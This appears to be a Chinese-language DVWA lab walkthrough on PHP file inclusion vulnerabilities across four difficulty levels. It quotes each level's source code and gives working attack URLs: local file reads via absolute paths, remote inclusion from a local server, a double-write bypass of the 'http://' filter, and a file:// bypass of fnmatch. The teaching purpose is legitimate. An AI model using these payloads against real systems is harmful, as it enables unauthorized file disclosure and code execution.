DVWA 之 文件包含漏洞 全等级
一、漏洞概述
File Inclusion(文件包含漏洞)是指服务端将包含的文件设置为变量,利用URL动态调用。若没有对包含文件进行有效的过滤,就会导致恶意文件或代码被调用执行,造成文件包含漏洞。
PHP文件包含的四个函数:
include():包含文件错误时返回一条警告,代码继续向下执行。常用于动态包含。
require():包含文件错误时产生致命错误,代码停止执行。通常用于重要文件包含。
include_once():与include()功能相同,区别是如果文件已经被包含过则不再包含。
require_once():与require()功能相同,区别是如果文件已经被包含过则不再包含。
二、工具
firefox
三、测试过程
1、级别:low
贴上代码:
1 <?php 2 3 // The page we wish to display 4 $file = $_GET[ 'page' ]; 5 6 ?> 7
说明程序直接读取page参数,使用include进行文件包含。
我们先改变page参数,编写一个不存在的文件:
发现报错,显示没有这个文件,同时也暴露了服务器的绝对路径。
我们利用绝对路径读取本地文件,构造url:
http://192.168.2.121/dvwa/vulnerabilities/fi/?page=F:\phpStudy\PHPTutorial\WWW\dvwa\php.ini
成功读取到文件内容。
可以发现服务器的配置文件中的allow_url_fopen = on 和allow_url_include = on,说明服务器允许包含远程服务器上的文件。
创建一个文件:
启动远程服务器:
构造url:http://192.168.2.121/dvwa/vulnerabilities/fi/page=http://localhost:8000/Desktop/test.php
2、级别:Medium
贴上代码:
1 <?php 2 3 // The page we wish to display 4 $file = $_GET[ 'page' ]; 5 6 // Input validation 7 $file = str_replace( array( "http://", "https://" ), "", $file ); 8 $file = str_replace( array( "../", "..\"" ), "", $file ); 9 10 ?> 11
可以看出相比low级别增加了str_replace函数,对page参数中的字符串进行了处理,但并不能进行有效的阻止,本地文件包含时使用绝对路径依然没有任何影响;远程文件包含时我们可以使用双写绕过这个替换规则,例如:hthttp://tp://,中间的http://被替换后依然保留了一个http://。
因此可构造url:
http://192.168.2.121/dvwa/vulnerabilities/fi/page=hthttp://tp://localhost:8000/Desktop/test.php
3、级别:High
贴上代码:
1 一、漏洞概述 2 <?php 3 4 // The page we wish to display 5 $file = $_GET[ 'page' ]; 6 7 // Input validation 8 if( !fnmatch( "file*", $file ) && $file != "include.php" ) { 9 // This isn't the page we want! 10 echo "ERROR: File not found!"; 11 exit; 12 } 13 14 ?> 15
从代码可以读出High级别使用了fnmatch函数检查page参数,只有 include.php 以及 file 开头的文件才会被包含。
因此,我们依然可以利用file协议绕过,进行本地文件包含:
http://192.168.2.121/dvwa/vulnerabilities/fi/?page=file:///F:/phpStudy/PHPTutorial/WWW/dvwa/php.ini
但是要执行任意命令则需要配合文件上传漏洞进行组合利用。
4.级别:Impossible
贴上代码:
1 <?php 2 3 // The page we wish to display 4 $file = $_GET[ 'page' ]; 5 6 // Only allow include.php or file{1..3}.php 7 if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) { 8 // This isn't the page we want! 9 echo "ERROR: File not found!"; 10 exit; 11 } 12 13 ?>
观察代码,发现impossible级别的代码采用白名单机制,page参数只能时白名单中的几个文件名之一,杜绝了文件包含漏洞。